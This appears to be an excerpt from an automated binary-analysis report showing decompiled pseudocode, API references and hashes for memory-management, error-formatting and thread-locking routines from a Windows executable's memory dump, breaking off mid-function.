Associated: 00000004.00000002.676688959.00000000004C4000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.676702997.00000000004C6000.00000002.00020000.sdmp Download File

Similarity

API ID: File$ByteCharHandleLoadModuleMultiNameStringWideWrite$MessageQueryVirtual
String ID:
API String ID: 135118572-0
Opcode ID: 7bf27a680bd44ec5315003c7bd75f7b580991028cc1534cfff61cb99441fed85
Instruction ID: 441773961034998e17761d3334fa1b60ae8bad0ad03d42d5622a75f3c8f76c28
Opcode Fuzzy Hash: 7bf27a680bd44ec5315003c7bd75f7b580991028cc1534cfff61cb99441fed85
Instruction Fuzzy Hash: 7D31CF75640204BFE714E796CC42FDA77ACEB08704F9044BABA04F71D2DA786E548B6D

Uniqueness

Uniqueness Score: -1.00%

Function 00404464, Relevance: 10.9, APIs: 7, Instructions: 406
COMMON

Download Yara Rule

C-Code - Quality: 88%

			E00404464(signed int __eax, intOrPtr __edx, void* __edi) {
				signed int __ebx;
				void* __esi;
				signed int _t69;
				signed int _t78;
				signed int _t93;
				long _t94;
				void* _t100;
				signed int _t102;
				signed int _t109;
				signed int _t115;
				signed int _t123;
				signed int _t129;
				void* _t131;
				signed int _t140;
				unsigned int _t148;
				signed int _t150;
				long _t152;
				signed int _t156;
				intOrPtr _t161;
				signed int _t166;
				signed int _t170;
				unsigned int _t171;
				intOrPtr _t174;
				intOrPtr _t192;
				signed int _t195;
				signed int _t196;
				signed int _t197;
				void* _t205;
				unsigned int _t207;
				intOrPtr _t213;
				void* _t225;
				intOrPtr _t227;
				void* _t228;
				signed int _t230;
				void* _t232;
				signed int _t233;
				signed int _t234;
				signed int _t238;
				signed int _t241;
				void* _t243;
				intOrPtr* _t244;

				_t176 = __edx;
				_t66 = __eax;
				_t166 =  *(__eax - 4);
				_t217 = __eax;
				if((_t166 & 0x00000007) != 0) {
					__eflags = _t166 & 0x00000005;
					if((_t166 & 0x00000005) != 0) {
						_pop(_t217);
						_pop(_t145);
						__eflags = _t166 & 0x00000003;
						if((_t166 & 0x00000003) == 0) {
							_push(_t145);
							_push(__eax);
							_push(__edi);
							_push(_t225);
							_t244 = _t243 + 0xffffffe0;
							_t218 = __edx;
							_t202 = __eax;
							_t69 =  *(__eax - 4);
							_t148 = (0xfffffff0 & _t69) - 0x14;
							if(0xfffffff0 >= __edx) {
								__eflags = __edx - _t148 >> 1;
								if(__edx < _t148 >> 1) {
									_t150 = E00403EE8(__edx);
									__eflags = _t150;
									if(_t150 != 0) {
										__eflags = _t218 - 0x40a2c;
										if(_t218 > 0x40a2c) {
											_t78 = _t202 - 0x10;
											__eflags = _t78;
											 *((intOrPtr*)(_t78 + 8)) = _t218;
										}
										E00403AA4(_t202, _t218, _t150);
										E0040426C(_t202, _t202, _t225);
									}
								} else {
									_t150 = __eax;
									 *((intOrPtr*)(__eax - 0x10 + 8)) = __edx;
								}
							} else {
								if(0xfffffff0 <= __edx) {
									_t227 = __edx;
								} else {
									_t227 = 0xbadb9d;
								}
								 *_t244 = _t202 - 0x10 + (_t69 & 0xfffffff0);
								VirtualQuery( *(_t244 + 8), _t244 + 8, 0x1c);
								if( *((intOrPtr*)(_t244 + 0x14)) != 0x10000) {
									L12:
									_t150 = E00403EE8(_t227);
									__eflags = _t150;
									if(_t150 != 0) {
										__eflags = _t227 - 0x40a2c;
										if(_t227 > 0x40a2c) {
											_t93 = _t150 - 0x10;
											__eflags = _t93;
											 *((intOrPtr*)(_t93 + 8)) = _t218;
										}
										E00403A74(_t202,  *((intOrPtr*)(_t202 - 0x10 + 8)), _t150);
										E0040426C(_t202, _t202, _t227);
									}
								} else {
									 *(_t244 + 0x10) =  *(_t244 + 0x10) & 0xffff0000;
									_t94 =  *(_t244 + 0x10);
									if(_t218 - _t148 >= _t94) {
										goto L12;
									} else {
										_t152 = _t227 - _t148 + 0x00010000 - 0x00000001 & 0xffff0000;
										if(_t94 < _t152) {
											_t152 = _t94;
										}
										if(VirtualAlloc( *(_t244 + 0xc), _t152, 0x2000, 4) == 0 || VirtualAlloc( *(_t244 + 0xc), _t152, 0x1000, 4) == 0) {
											goto L12;
										} else {
											_t100 = _t202 - 0x10;
											 *((intOrPtr*)(_t100 + 8)) = _t218;
											 *(_t100 + 0xc) = _t152 +  *(_t100 + 0xc) | 0x00000008;
											_t150 = _t202;
										}
									}
								}
							}
							return _t150;
						} else {
							__eflags = 0;
							return 0;
						}
					} else {
						_t170 = _t166 & 0xfffffff0;
						_push(__edi);
						_t205 = _t170 + __eax;
						_t171 = _t170 - 4;
						_t156 = _t166 & 0x0000000f;
						__eflags = __edx - _t171;
						_push(_t225);
						if(__edx > _t171) {
							_t102 =  *(_t205 - 4);
							__eflags = _t102 & 0x00000001;
							if((_t102 & 0x00000001) == 0) {
								L75:
								asm("adc edi, 0xffffffff");
								_t228 = ((_t171 >> 0x00000002) + _t171 - _t176 & 0) + _t176;
								_t207 = _t171;
								_t109 = E00403EE8(((_t171 >> 0x00000002) + _t171 - _t176 & 0) + _t176);
								_t192 = _t176;
								__eflags = _t109;
								if(_t109 == 0) {
									goto L73;
								} else {
									__eflags = _t228 - 0x40a2c;
									if(_t228 > 0x40a2c) {
										 *((intOrPtr*)(_t109 - 8)) = _t192;
									}
									_t230 = _t109;
									E00403A74(_t217, _t207, _t109);
									E0040426C(_t217, _t207, _t230);
									return _t230;
								}
							} else {
								_t115 = _t102 & 0xfffffff0;
								_t232 = _t171 + _t115;
								__eflags = __edx - _t232;
								if(__edx > _t232) {
									goto L75;
								} else {
									__eflags =  *0x4bb059;
									if(__eflags == 0) {
										L66:
										__eflags = _t115 - 0xb30;
										if(_t115 >= 0xb30) {
											E00403AC0(_t205);
											_t176 = _t176;
											_t171 = _t171;
										}
										asm("adc edi, 0xffffffff");
										_t123 = (_t176 + ((_t171 >> 0x00000002) + _t171 - _t176 & 0) + 0x000000d3 & 0xffffff00) + 0x30;
										_t195 = _t232 + 4 - _t123;
										__eflags = _t195;
										if(_t195 > 0) {
											 *(_t217 + _t232 - 4) = _t195;
											 *((intOrPtr*)(_t217 - 4 + _t123)) = _t195 + 3;
											_t233 = _t123;
											__eflags = _t195 - 0xb30;
											if(_t195 >= 0xb30) {
												__eflags = _t123 + _t217;
												E00403B00(_t123 + _t217, _t171, _t195);
											}
										} else {
											 *(_t217 + _t232) =  *(_t217 + _t232) & 0xfffffff7;
											_t233 = _t232 + 4;
										}
										_t234 = _t233 | _t156;
										__eflags = _t234;
										 *(_t217 - 4) = _t234;
										 *0x4bbae8 = 0;
										_t109 = _t217;
										L73:
										return _t109;
									} else {
										while(1) {
											asm("lock cmpxchg [0x4bbae8], ah");
											if(__eflags == 0) {
												break;
											}
											asm("pause");
											__eflags =  *0x4bb989;
											if(__eflags != 0) {
												continue;
											} else {
												Sleep(0);
												_t176 = _t176;
												_t171 = _t171;
												asm("lock cmpxchg [0x4bbae8], ah");
												if(__eflags != 0) {
													Sleep(0xa);
													_t176 = _t176;
													_t171 = _t171;
													continue;
												}
											}
											break;
										}
										_t156 = 0x0000000f &  *(_t217 - 4);
										_t129 =  *(_t205 - 4);
										__eflags = _t129 & 0x00000001;
										if((_t129 & 0x00000001) == 0) {
											L74:
											 *0x4bbae8 = 0;
											goto L75;
										} else {
											_t115 = _t129 & 0xfffffff0;
											_t232 = _t171 + _t115;
											__eflags = _t176 - _t232;
											if(_t176 > _t232) {
												goto L74;
											} else {
												goto L66;
											}
										}
									}
								}
							}
						} else {
							__eflags = __edx + __edx - _t171;
							if(__edx + __edx < _t171) {
								__eflags = __edx - 0xb2c;
								if(__edx >= 0xb2c) {
									L41:
									_t32 = _t176 + 0xd3; // 0xbff
									_t238 = (_t32 & 0xffffff00) + 0x30;
									_t174 = _t171 + 4 - _t238;
									__eflags =  *0x4bb059;
									if(__eflags != 0) {
										while(1) {
											asm("lock cmpxchg [0x4bbae8], ah");
											if(__eflags == 0) {
												break;
											}
											asm("pause");
											__eflags =  *0x4bb989;
											if(__eflags != 0) {
												continue;
											} else {
												Sleep(0);
												_t174 = _t174;
												asm("lock cmpxchg [0x4bbae8], ah");
												if(__eflags != 0) {
													Sleep(0xa);
													_t174 = _t174;
													continue;
												}
											}
											break;
										}
										_t156 = 0x0000000f &  *(_t217 - 4);
										__eflags = 0xf;
									}
									 *(_t217 - 4) = _t156 | _t238;
									_t161 = _t174;
									_t196 =  *(_t205 - 4);
									__eflags = _t196 & 0x00000001;
									if((_t196 & 0x00000001) != 0) {
										_t131 = _t205;
										_t197 = _t196 & 0xfffffff0;
										_t161 = _t161 + _t197;
										_t205 = _t205 + _t197;
										__eflags = _t197 - 0xb30;
										if(_t197 >= 0xb30) {
											E00403AC0(_t131);
										}
									} else {
										 *(_t205 - 4) = _t196 | 0x00000008;
									}
									 *((intOrPtr*)(_t205 - 8)) = _t161;
									 *((intOrPtr*)(_t217 + _t238 - 4)) = _t161 + 3;
									__eflags = _t161 - 0xb30;
									if(_t161 >= 0xb30) {
										E00403B00(_t217 + _t238, _t174, _t161);
									}
									 *0x4bbae8 = 0;
									return _t217;
								} else {
									__eflags = __edx - 0x2cc;
									if(__edx < 0x2cc) {
										_t213 = __edx;
										_t140 = E00403EE8(__edx);
										__eflags = _t140;
										if(_t140 != 0) {
											_t241 = _t140;
											E00403AA4(_t217, _t213, _t140);
											E0040426C(_t217, _t213, _t241);
											_t140 = _t241;
										}
										return _t140;
									} else {
										_t176 = 0xb2c;
										__eflags = _t171 - 0xb2c;
										if(_t171 <= 0xb2c) {
											goto L37;
										} else {
											goto L41;
										}
									}
								}
							} else {
								L37:
								return _t66;
							}
						}
					}
				} else {
					__ebx =  *__ecx;
					__ecx =  *(__ebx + 2) & 0x0000ffff;
					__ecx = ( *(__ebx + 2) & 0x0000ffff) - 4;
					__eflags = __ecx - __edx;
					if(__ecx < __edx) {
						__ecx = __ecx + __ecx + 0x20;
						_push(__edi);
						__edi = __edx;
						__eax = 0;
						__ecx = __ecx - __edx;
						asm("adc eax, 0xffffffff");
						__eax = 0 & __ecx;
						__eax = (0 & __ecx) + __edx;
						__eax = E00403EE8((0 & __ecx) + __edx);
						__eflags = __eax;
						if(__eax != 0) {
							__eflags = __edi - 0x40a2c;
							if(__edi > 0x40a2c) {
								 *(__eax - 8) = __edi;
							}
							 *(__ebx + 2) & 0x0000ffff = ( *(__ebx + 2) & 0x0000ffff) - 4;
							__eflags = ( *(__ebx + 2) & 0x0000ffff) - 4;
							__edx = __eax;
							__edi = __eax;
							 *((intOrPtr*)(__ebx + 0x1c))() = E0040426C(__esi, __edi, __ebp);
							__eax = __edi;
						}
						_pop(__edi);
						_pop(__esi);
						_pop(__ebx);
						return __eax;
					} else {
						__ebx = 0x40 + __edx * 4;
						__eflags = 0x40 + __edx * 4 - __ecx;
						if(0x40 + __edx * 4 < __ecx) {
							__ebx = __edx;
							__eax = __edx;
							__eax = E00403EE8(__edx);
							__eflags = __eax;
							if(__eax != 0) {
								__ecx = __ebx;
								__edx = __eax;
								__ebx = __eax;
								__esi = E0040426C(__esi, __edi, __ebp);
								__eax = __ebx;
							}
							_pop(__esi);
							_pop(__ebx);
							return __eax;
						} else {
							_pop(__esi);
							_pop(__ebx);
							return __eax;
						}
					}
				}
			}

0x00404464
0x00404464
0x00404464
0x0040446c
0x0040446e
0x004044fc
0x004044ff
0x0040476c
0x0040476d
0x0040476e
0x00404771
0x00403d9c
0x00403d9d
0x00403d9e
0x00403d9f
0x00403da0
0x00403da3
0x00403da5
0x00403dac
0x00403db5
0x00403dba
0x00403ea1
0x00403ea3
0x00403eb6
0x00403eb8
0x00403eba
0x00403ebc
0x00403ec2
0x00403ec6
0x00403ec6
0x00403ec9
0x00403ec9
0x00403ed2
0x00403ed9
0x00403ed9
0x00403ea5
0x00403ea5
0x00403eaa
0x00403eaa
0x00403dc0
0x00403dc9
0x00403dcf
0x00403dcb
0x00403dcb
0x00403dcb
0x00403ddb
0x00403dea
0x00403df7
0x00403e67
0x00403e6e
0x00403e70
0x00403e72
0x00403e74
0x00403e7a
0x00403e7e
0x00403e7e
0x00403e81
0x00403e81
0x00403e91
0x00403e98
0x00403e98
0x00403df9
0x00403df9
0x00403e05
0x00403e0b
0x00000000
0x00403e0d
0x00403e1e
0x00403e22
0x00403e24
0x00403e24
0x00403e3a
0x00000000
0x00403e52
0x00403e54
0x00403e57
0x00403e60
0x00403e63
0x00403e63
0x00403e3a
0x00403e0b
0x00403df7
0x00403ee7
0x00404777
0x00404777
0x00404779
0x00404779
0x00404505
0x00404507
0x0040450a
0x0040450b
0x0040450e
0x00404511
0x00404514
0x00404516
0x00404517
0x0040462c
0x0040462f
0x00404631
0x00404724
0x0040472f
0x00404736
0x00404738
0x0040473b
0x00404740
0x00404741
0x00404743
0x00000000
0x00404745
0x00404745
0x0040474b
0x0040474d
0x0040474d
0x00404750
0x00404758
0x0040475f
0x0040476a
0x0040476a
0x00404637
0x00404637
0x0040463a
0x0040463d
0x0040463f
0x00000000
0x00404645
0x00404645
0x0040464c
0x004046a9
0x004046a9
0x004046ae
0x004046b4
0x004046b9
0x004046ba
0x004046ba
0x004046c6
0x004046d7
0x004046dd
0x004046dd
0x004046df
0x004046ec
0x004046f3
0x004046f7
0x004046f9
0x004046ff
0x00404701
0x00404703
0x00404703
0x004046e1
0x004046e1
0x004046e5
0x004046e5
0x00404708
0x00404708
0x0040470a
0x0040470d
0x00404714
0x00404716
0x0040471a
0x0040464e
0x0040464e
0x00404653
0x0040465b
0x00000000
0x00000000
0x0040465d
0x0040465f
0x00404666
0x00000000
0x00404668
0x0040466c
0x00404671
0x00404672
0x00404678
0x00404680
0x00404686
0x0040468b
0x0040468c
0x00000000
0x0040468c
0x00404680
0x00000000
0x00404666
0x00404695
0x00404698
0x0040469b
0x0040469d
0x0040471d
0x0040471d
0x00000000
0x0040469f
0x0040469f
0x004046a2
0x004046a5
0x004046a7
0x00000000
0x00000000
0x00000000
0x00000000
0x004046a7
0x0040469d
0x0040464c
0x0040463f
0x0040451d
0x00404520
0x00404522
0x0040452c
0x00404532
0x00404549
0x00404549
0x00404555
0x0040455b
0x0040455d
0x00404564
0x00404566
0x0040456b
0x00404573
0x00000000
0x00000000
0x00404575
0x00404577
0x0040457e
0x00000000
0x00404580
0x00404583
0x00404588
0x0040458e
0x00404596
0x0040459b
0x004045a0
0x00000000
0x004045a0
0x00404596
0x00000000
0x0040457e
0x004045a9
0x004045a9
0x004045a9
0x004045ae
0x004045b1
0x004045b3
0x004045b6
0x004045b9
0x004045c4
0x004045c6
0x004045c9
0x004045cb
0x004045cd
0x004045d3
0x004045d5
0x004045d5
0x004045bb
0x004045be
0x004045be
0x004045da
0x004045e0
0x004045e4
0x004045ea
0x004045f1
0x004045f1
0x004045f6
0x00404603
0x00404534
0x00404534
0x0040453a
0x00404604
0x00404608
0x0040460d
0x0040460f
0x00404611
0x00404619
0x00404620
0x00404625
0x00404625
0x0040462b
0x00404540
0x00404540
0x00404545
0x00404547
0x00000000
0x00000000
0x00000000
0x00000000
0x00404547
0x0040453a
0x00404524
0x00404524
0x00404528
0x00404528
0x00404522
0x00404517
0x00404474
0x00404474
0x00404476
0x0040447a
0x0040447d
0x0040447f
0x004044b8
0x004044bc
0x004044bd
0x004044bf
0x004044c1
0x004044c3
0x004044c6
0x004044c8
0x004044ca
0x004044cf
0x004044d1
0x004044d3
0x004044d9
0x004044db
0x004044db
0x004044e2
0x004044e2
0x004044e5
0x004044e7
0x004044f0
0x004044f5
0x004044f5
0x004044f7
0x004044f8
0x004044f9
0x004044fa
0x00404481
0x00404481
0x00404488
0x0040448a
0x00404490
0x00404492
0x00404494
0x00404499
0x0040449b
0x0040449d
0x0040449f
0x004044a1
0x004044ac
0x004044b1
0x004044b1
0x004044b3
0x004044b4
0x004044b5
0x0040448c
0x0040448c
0x0040448d
0x0040448e
0x0040448e
0x0040448a
0x0040447f

Memory Dump Source

Source File: 00000004.00000002.676482975.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.676465939.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.676651281.00000000004B7000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.676666731.00000000004C0000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.676688959.00000000004C4000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.676702997.00000000004C6000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ec1625ffc2fe51f8c31513aba64e24c59fd6eccf0fed4d7fd9cb209259156b9f
Instruction ID: a6f3f7862a5743fd60f07ae337b35688b7a953487e66f12862dc3ba09d14b1d9
Opcode Fuzzy Hash: ec1625ffc2fe51f8c31513aba64e24c59fd6eccf0fed4d7fd9cb209259156b9f
Instruction Fuzzy Hash: 8CC115A27106000BD714AE7DDD8476AB68A9BC5716F28827FF244EB3D6DB7CCD418388

Uniqueness

Uniqueness Score: -1.00%

Function 0041F7A0, Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 131
COMMON

Download Yara Rule

C-Code - Quality: 68%

			E0041F7A0(void* __ebx, void* __ecx, void* __edi, void* __esi, intOrPtr _a4) {
				char _v8;
				struct _MEMORY_BASIC_INFORMATION _v36;
				short _v558;
				char _v564;
				intOrPtr _v568;
				char _v572;
				char _v576;
				char _v580;
				intOrPtr _v584;
				char _v588;
				void* _v592;
				char _v596;
				char _v600;
				char _v604;
				char _v608;
				intOrPtr _v612;
				char _v616;
				char _v620;
				char _v624;
				void* _v628;
				char _v632;
				void* _t64;
				intOrPtr _t65;
				long _t76;
				intOrPtr _t82;
				intOrPtr _t103;
				intOrPtr _t107;
				intOrPtr _t110;
				intOrPtr _t112;
				intOrPtr _t115;
				intOrPtr _t127;
				void* _t136;
				intOrPtr _t138;
				void* _t141;
				void* _t143;

				_t136 = __edi;
				_t140 = _t141;
				_v632 = 0;
				_v596 = 0;
				_v604 = 0;
				_v600 = 0;
				_v8 = 0;
				_push(_t141);
				_push(0x41f9a6);
				_push( *[fs:eax]);
				 *[fs:eax] = _t141 + 0xfffffd8c;
				_t64 =  *((intOrPtr*)( *((intOrPtr*)(_a4 - 4)) + 0x14)) - 1;
				_t143 = _t64;
				if(_t143 < 0) {
					_t65 =  *0x4ba798; // 0x40e730
					E0040C9F0(_t65,  &_v8, _t140);
				} else {
					if(_t143 == 0) {
						_t107 =  *0x4ba670; // 0x40e738
						E0040C9F0(_t107,  &_v8, _t140);
					} else {
						if(_t64 == 7) {
							_t110 =  *0x4ba4d0; // 0x40e740
							E0040C9F0(_t110,  &_v8, _t140);
						} else {
							_t112 =  *0x4ba5c8; // 0x40e748
							E0040C9F0(_t112,  &_v8, _t140);
						}
					}
				}
				_t115 =  *((intOrPtr*)( *((intOrPtr*)(_a4 - 4)) + 0x18));
				VirtualQuery( *( *((intOrPtr*)(_a4 - 4)) + 0xc),  &_v36, 0x1c);
				_t138 = _v36.State;
				if(_t138 == 0x1000 || _t138 == 0x10000) {
					_t76 = GetModuleFileNameW(_v36.AllocationBase,  &_v558, 0x105);
					_t147 = _t76;
					if(_t76 == 0) {
						goto L12;
					} else {
						_v592 =  *( *((intOrPtr*)(_a4 - 4)) + 0xc);
						_v588 = 5;
						E0040858C( &_v600, 0x105,  &_v558);
						E0041A418(_v600, _t115,  &_v596, _t136, _t138, _t147);
						_v584 = _v596;
						_v580 = 0x11;
						_v576 = _v8;
						_v572 = 0x11;
						_v568 = _t115;
						_v564 = 5;
						_push( &_v592);
						_t103 =  *0x4ba6e0; // 0x40e810
						E0040C9F0(_t103,  &_v604, _t140, 3);
						E0041F2A0(_t115, _v604, 1, _t136, _t138);
					}
				} else {
					L12:
					_v628 =  *( *((intOrPtr*)(_a4 - 4)) + 0xc);
					_v624 = 5;
					_v620 = _v8;
					_v616 = 0x11;
					_v612 = _t115;
					_v608 = 5;
					_push( &_v628);
					_t82 =  *0x4ba67c; // 0x40e6d8
					E0040C9F0(_t82,  &_v632, _t140, 2);
					E0041F2A0(_t115, _v632, 1, _t136, _t138);
				}
				_pop(_t127);
				 *[fs:eax] = _t127;
				_push(0x41f9ad);
				E00407A20( &_v632);
				E00407A80( &_v604, 3);
				return E00407A20( &_v8);
			}

0x0041f7a0
0x0041f7a1
0x0041f7ad
0x0041f7b3
0x0041f7b9
0x0041f7bf
0x0041f7c5
0x0041f7ca
0x0041f7cb
0x0041f7d0
0x0041f7d3
0x0041f7df
0x0041f7df
0x0041f7e2
0x0041f7f0
0x0041f7f5
0x0041f7e4
0x0041f7e4
0x0041f7ff
0x0041f804
0x0041f7e6
0x0041f7e9
0x0041f80e
0x0041f813
0x0041f7eb
0x0041f81d
0x0041f822
0x0041f822
0x0041f7e9
0x0041f7e4
0x0041f82d
0x0041f840
0x0041f845
0x0041f84e
0x0041f86c
0x0041f871
0x0041f873
0x00000000
0x0041f879
0x0041f882
0x0041f888
0x0041f8a0
0x0041f8b1
0x0041f8bc
0x0041f8c2
0x0041f8cc
0x0041f8d2
0x0041f8d9
0x0041f8df
0x0041f8ec
0x0041f8f5
0x0041f8fa
0x0041f90c
0x0041f911
0x0041f915
0x0041f915
0x0041f91e
0x0041f924
0x0041f92e
0x0041f934
0x0041f93b
0x0041f941
0x0041f94e
0x0041f957
0x0041f95c
0x0041f96e
0x0041f973
0x0041f977
0x0041f97a
0x0041f97d
0x0041f988
0x0041f998
0x0041f9a5

APIs

VirtualQuery.KERNEL32(?,?,0000001C,00000000,0041F9A6), ref: 0041F840
GetModuleFileNameW.KERNEL32(?,?,00000105,?,?,0000001C,00000000,0041F9A6), ref: 0041F86C

Part of subcall function 0040C9F0: LoadStringW.USER32(00000000,00010000,?,00001000), ref: 0040CA35

Strings

0@, xrefs: 0041F7F0
@@, xrefs: 0041F80E
H@, xrefs: 0041F81D
8@, xrefs: 0041F7FF

Memory Dump Source

Source File: 00000004.00000002.676482975.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.676465939.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.676651281.00000000004B7000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.676666731.00000000004C0000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.676688959.00000000004C4000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.676702997.00000000004C6000.00000002.00020000.sdmp Download File

Similarity

API ID: FileLoadModuleNameQueryStringVirtual
String ID: 0@$8@$@@$H@
API String ID: 902310565-4161625419
Opcode ID: 2bcb5d97eafe9ae16bdb5e5d20f221eb3d58e794d65a866e62d276be447e8c2a
Instruction ID: bbc3c026f35d1d6bea3ad9012fddeafd4c483e803022796d8e8ef386e34d3195
Opcode Fuzzy Hash: 2bcb5d97eafe9ae16bdb5e5d20f221eb3d58e794d65a866e62d276be447e8c2a
Instruction Fuzzy Hash: 69511874A04258DFCB10EF69CC89BCDB7F4AB48304F0042E6A808A7351D778AE85CF59

Uniqueness

Uniqueness Score: -1.00%

Function 00406688, Relevance: 10.6, APIs: 7, Instructions: 130
threadCOMMON

Download Yara Rule

C-Code - Quality: 88%

			E00406688(signed char* __eax, void* __edx, void* __eflags) {
				void* _t49;
				signed char _t56;
				intOrPtr _t57;
				signed char _t59;
				void* _t70;
				signed char* _t71;
				intOrPtr _t72;
				signed char* _t73;

				_t70 = __edx;
				_t71 = __eax;
				_t72 =  *((intOrPtr*)(__eax + 0x10));
				while(1) {
					L1:
					 *_t73 = E00406B30(_t71);
					if( *_t73 != 0 || _t70 == 0) {
						break;
					}
					_t73[1] = 0;
					if(_t72 <= 0) {
						while(1) {
							L17:
							_t56 =  *_t71;
							if(_t56 == 0) {
								goto L1;
							}
							asm("lock cmpxchg [esi], edx");
							if(_t56 != _t56) {
								continue;
							} else {
								goto L19;
							}
							do {
								L19:
								_t73[4] = GetTickCount();
								E0040688C(_t71);
								_t57 =  *0x4bb8f8; // 0x4b9284
								 *((intOrPtr*)(_t57 + 0x10))();
								 *_t73 = 0 == 0;
								if(_t70 != 0xffffffff) {
									_t73[8] = GetTickCount();
									if(_t70 <= _t73[8] - _t73[4]) {
										_t70 = 0;
									} else {
										_t70 = _t70 - _t73[8] - _t73[4];
									}
								}
								if( *_t73 == 0) {
									do {
										asm("lock cmpxchg [esi], edx");
									} while ( *_t71 !=  *_t71);
									_t73[1] = 1;
								} else {
									while(1) {
										_t59 =  *_t71;
										if((_t59 & 0x00000001) != 0) {
											goto L29;
										}
										asm("lock cmpxchg [esi], edx");
										if(_t59 != _t59) {
											continue;
										}
										_t73[1] = 1;
										goto L29;
									}
								}
								L29:
							} while (_t73[1] == 0);
							if( *_t73 != 0) {
								_t71[8] = GetCurrentThreadId();
								_t71[4] = 1;
							}
							goto L32;
						}
						continue;
					}
					_t73[4] = GetTickCount();
					_t73[0xc] = 0;
					if(_t72 <= 0) {
						L13:
						if(_t70 == 0xffffffff) {
							goto L17;
						}
						_t73[8] = GetTickCount();
						_t49 = _t73[8] - _t73[4];
						if(_t70 > _t49) {
							_t70 = _t70 - _t49;
							goto L17;
						}
						 *_t73 = 0;
						break;
					}
					L5:
					L5:
					if(_t70 == 0xffffffff || _t70 > GetTickCount() - _t73[4]) {
						goto L8;
					} else {
						 *_t73 = 0;
					}
					break;
					L8:
					if( *_t71 > 1) {
						goto L13;
					}
					if( *_t71 != 0) {
						L12:
						E00406368( &(_t73[0xc]));
						_t72 = _t72 - 1;
						if(_t72 > 0) {
							goto L5;
						}
						goto L13;
					}
					asm("lock cmpxchg [esi], edx");
					if(0 != 0) {
						goto L12;
					}
					_t71[8] = GetCurrentThreadId();
					_t71[4] = 1;
					 *_t73 = 1;
					break;
				}
				L32:
				return  *_t73 & 0x000000ff;
			}

0x0040668f
0x00406691
0x00406693
0x00406696
0x00406696
0x0040669d
0x004066a4
0x00000000
0x00000000
0x004066b2
0x004066b9
0x00406751
0x00406751
0x00406751
0x00406755
0x00000000
0x00000000
0x00406760
0x00406766
0x00000000
0x00000000
0x00000000
0x00000000
0x00406768
0x00406768
0x0040676d
0x00406773
0x0040677a
0x00406784
0x00406789
0x00406790
0x00406797
0x004067a5
0x004067b3
0x004067a7
0x004067af
0x004067af
0x004067a5
0x004067b9
0x004067db
0x004067e4
0x004067e8
0x004067ec
0x00000000
0x004067bb
0x004067bb
0x004067c0
0x00000000
0x00000000
0x004067cc
0x004067d2
0x00000000
0x00000000
0x004067d4
0x00000000
0x004067d4
0x004067bb
0x004067f1
0x004067f1
0x00406800
0x00406807
0x0040680a
0x0040680a
0x00000000
0x00406800
0x00000000
0x00406751
0x004066c4
0x004066ca
0x004066d0
0x0040672c
0x0040672f
0x00000000
0x00000000
0x00406736
0x0040673e
0x00406744
0x0040674f
0x00000000
0x0040674f
0x00406746
0x00000000
0x00406746
0x00000000
0x004066d2
0x004066d5
0x00000000
0x004066e4
0x004066e4
0x004066e4
0x00000000
0x004066ed
0x004066f0
0x00000000
0x00000000
0x004066f5
0x0040671e
0x00406722
0x00406727
0x0040672a
0x00000000
0x00000000
0x00000000
0x0040672a
0x004066fe
0x00406704
0x00000000
0x00000000
0x0040670b
0x0040670e
0x00406715
0x00000000
0x00406715
0x00406811
0x0040681c

APIs

Part of subcall function 00406B30: GetCurrentThreadId.KERNEL32 ref: 00406B33

GetTickCount.KERNEL32 ref: 004066BF
GetTickCount.KERNEL32 ref: 004066D7
GetCurrentThreadId.KERNEL32 ref: 00406706
GetTickCount.KERNEL32 ref: 00406731
GetTickCount.KERNEL32 ref: 00406768
GetTickCount.KERNEL32 ref: 00406792
GetCurrentThreadId.KERNEL32 ref: 00406802

Memory Dump Source

Source File: 00000004.00000002.676482975.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.676465939.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.676651281.00000000004B7000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.676666731.00000000004C0000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.676688959.00000000004C4000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.676702997.00000000004C6000.00000002.00020000.sdmp Download File

Similarity

API ID: CountTick$CurrentThread
String ID:
API String ID: 3968769311-0
Opcode ID: d68569389b1874426944dbdaf855cb9de5dde29c2ee803ff208aff5c928e2b2c
Instruction ID: 4198438d609b3d92ee1caba3903e9c970ac06421e97b93dd9799f90313ce3de1
Opcode Fuzzy Hash: d68569389b1874426944dbdaf855cb9de5dde29c2ee803ff208aff5c928e2b2c
Instruction Fuzzy Hash: 664182712083419ED721AE3CC58431BBAD5AF80358F16C93ED4DA973C1EB7988958756

Uniqueness

Uniqueness Score: -1.00%

Function 004971AC, Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 87
threadCOMMON

Download Yara Rule

C-Code - Quality: 80%

			E004971AC(void* __ebx, void* __ecx, char __edx, void* __edi, void* __esi, intOrPtr _a4) {
				char _v5;
				char _v12;
				char _v16;
				char _v20;
				void* _t23;
				char _t29;
				void* _t50;
				intOrPtr _t55;
				char _t57;
				intOrPtr _t59;
				void* _t64;
				void* _t66;
				void* _t68;
				void* _t69;
				intOrPtr _t70;

				_t64 = __edi;
				_t57 = __edx;
				_t50 = __ecx;
				_t68 = _t69;
				_t70 = _t69 + 0xfffffff0;
				_v20 = 0;
				if(__edx != 0) {
					_t70 = _t70 + 0xfffffff0;
					_t23 = E004062B0(_t23, _t68);
				}
				_t49 = _t50;
				_v5 = _t57;
				_t66 = _t23;
				_push(_t68);
				_push(0x4972a5);
				_push( *[fs:eax]);
				 *[fs:eax] = _t70;
				E00405CB8(0);
				_t3 = _t66 + 0x2c; // 0x266461
				 *(_t66 + 0xf) =  *_t3 & 0x000000ff ^ 0x00000001;
